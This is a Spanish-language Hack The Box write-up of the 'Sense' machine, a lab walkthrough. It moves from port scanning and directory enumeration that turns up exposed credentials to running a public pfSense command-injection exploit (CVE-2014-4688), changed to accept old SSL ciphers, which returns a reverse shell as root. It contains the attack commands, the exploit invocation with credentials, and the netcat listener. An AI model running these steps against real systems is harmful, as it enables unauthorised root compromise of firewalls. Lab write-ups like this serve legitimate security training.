Sense

Hack The Box — Writeup

Sense

IP:10.129.27.239
OS:FreeBSD
Dificultad:Easy
Fecha:13 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn IP -oG allPorts

# Output
PORT    STATE SERVICE REASON
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

En esta maquina solo se encontraron dos puertos abiertos, puerto 80 (HTTP) y puerto 443(HTTPS)

# Escaneo de versiones
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.129.27.239/
|_http-server-header: lighttpd/1.4.35
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time

**Hallazgo:**Se identifico la version del servicio Lighttpd teniendo una version vulnerable 1.4.35

Investigación: lighttpd es un servidor web ligero, diseñado para tener un consumo mínimo de recursos (CPU y memoria) en comparación con servidores como Apache o Nginx.

Enumeración

Enumeracion del servicio web

Página web principal

Hallazgo: se encontró un formulario de login del sistema pfSense, correspondiente a su panel de administración web (servido internamente por lighttpd). Aun no se cuenta con credenciales válidas para acceder al dashboard administrativo, por lo que se procedió a investigar otros vectores de acceso.

Hipótesis: se realizó una búsqueda de credenciales por defecto para descartar que se tratara de un login con credenciales genéricas, pero no fue el caso. Se optó entonces por enumerar directorios, con la hipótesis de que podría existir un archivo tipo changelog.txt que revelara la versión de pfSense instalada.

feroxbuster -u http://10.129.27.239/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt

[####################] - 10s     4752/4752    0s      found:0       errors:1

No hubo ningún resultado. Se optó entonces por ejecutar whatweb para identificar tecnologías adicionales, pero tampoco arrojó información de valor más allá de lo ya conocido:

whatweb https://10.129.27.239/
https://10.129.27.239/ [200 OK] Cookies[PHPSESSID,cookie_test], Country[RESERVED]
[ZZ], HTTPServer[lighttpd/1.4.35], HttpOnly[PHPSESSID], IP[10.129.27.239], JQuery,
PasswordField[passwordfld], Script[text/javascript], Title[Login],X-Frame-Options
[SAMEORIGIN], lighttpd[1.4.35]

Porqué no funcionó: el escaneo inicial de feroxbuster no utilizó el flag -x para probar extensiones de archivo, por lo que únicamente evaluó nombres sin extensión, dejando fuera archivos como changelog.txt. Se corrigió esto agregando la extensión txt explícitamente y el flag –insecure para evitar el error de certificado SSL autofirmado de pfSense.

feroxbuster -u https://10.129.27.239/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt -x txt --insecure

200      GET       10l       40w      271c https://10.129.27.239/changelog.txt

Porqué funcionó: al incluir explícitamente la extensión .txt en la búsqueda, feroxbuster logró identificar el archivo changelog.txt, que no había sido detectado en el escaneo anterior por no considerar esa extensión. Se realizó un curl a esa ruta para obtener su contenido:

curl -k https://10.129.27.239/changelog.txt

# Security Changelog

### Issue
There was a failure in updating the firewall. Manual patching is therefore required

### Mitigated
2 of 3 vulnerabilities have been patched.

### Timeline
The remaining patches will be installed during the next maintenance window

Hallazgo: el archivo reveló información sensible de seguridad interna: se aplicaron parches para 2 de 3 vulnerabilidades conocidas, dejando explícitamente una vulnerabilidad sin corregir. Esto reduce significativamente el espacio de búsqueda de CVEs a investigar, confirmando que existe un vector de ataque activo y no mitigado en esta instalación de pfSense.

Hipótesis: tras varios intentos con feroxbuster usando wordlists estándar (common.txt, raft-small-words.txt), no se encontró ningún archivo adicional relevante. Se intentó replantear el enfoque asumiendo que el nombre del archivo sería descriptivo y temático al contexto de la máquina, pero no se logró deducir el nombre exacto por cuenta propia.

Por qué no funcionó: ninguna de las wordlists utilizadas contenía el nombre específico del archivo, y el razonamiento manual tampoco fue suficiente para deducirlo sin ayuda externa. Fue necesario consultar un writeup de referencia para identificar que el archivo se llamaba system-users.txt.

curl -k https://10.129.27.239/system-users.txt

####Support ticket###

Please create the following user

username: Rohit
password: company defaults%

Explotación

Identificación del exploit

Con la versión de pfSense confirmada ($\leq$ 2.1.3/2.1.4) y credenciales válidas obtenidas del archivo system-users.txt (usuario Rohit, contraseña por defecto de la empresa), se procedió a buscar exploits públicos conocidos para esta versión.

searchsploit pfsense 2.1.3

pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
| php/webapps/43560.py

Hallazgo: se identificó el exploit público CVE-2014-4688, correspondiente a una vulnerabilidad de command injection en el parámetro database del script status_rrd_graph_img.php, presente en versiones de pfSense anteriores a la 2.1.4.

searchsploit -m php/webapps/43560.py

Corrección de compatibilidad SSL del exploit

Al ejecutar el exploit original, se obtuvo el error SSLV3_ALERT_HANDSHAKE_FAILURE.

Porqué no funcionó: pfSense 2.1.3 (del año 2014) utiliza cifrados TLS/SSL obsoletos. Las versiones modernas de Python/OpenSSL (en este caso Python 3.14) rechazan por defecto el handshake con cifrados considerados inseguros, a diferencia de curl, que es más permisivo por defecto.

Se modificó el script agregando un adaptador SSL personalizado que fuerza un nivel de seguridad de cifrado más bajo (SECLEVEL=1), y se agregó verify=False en todas las peticiones HTTPS del script (login GET, login POST y GET del exploit), ya que la verificación del certificado autofirmado de pfSense tampoco era consistente entre las distintas llamadas de la sesión de requests.

Porqué funcionó: al forzar SECLEVEL=1 en el contexto SSL, se le indicó a OpenSSL que aceptara cifrados compatibles con sistemas antiguos como pfSense 2.1.3, permitiendo completar el handshake TLS que antes era rechazado por defecto en las versiones modernas de Python.

Ejecución del exploit

Se inició un listener para recibir la reverse shell:

nc -lvnp 4444

Y se ejecutó el exploit corregido, pasando las credenciales obtenidas y la IP de la máquina atacante:

python3 43560.py --rhost 10.129.27.239 --lhost 10.10.15.163 --lport 4444
--username rohit --password pfsense

CSRF token obtained
Running exploit...
Exploit completed

Listening on 0.0.0.0 4444
Connection received on 10.129.27.239 12929
sh: can't access tty; job control turned off
# sh
whoami
root

Resultado: el exploit ejecutó un comando inyectado a través del parámetro database, obteniendo una reverse shell directamente como root, sin necesidad de una fase posterior de escalada de privilegios — el propio servicio web de pfSense corría con privilegios de root en el sistema operativo.

cat /root/root.txt
d08c32a*************69f1a86
cat /home/*/user.txt
8721327cc2**********c17e7348b

Escalada de Privilegios

Nota: en esta máquina no fue necesaria una fase de escalada de privilegios independiente. El servicio web de pfSense (y por extensión, el status_rrd_graph_img.php vulnerable a command injection) corría con privilegios de root desde el propio sistema operativo, por lo que la explotación inicial otorgó acceso directo como root sin pasos intermedios.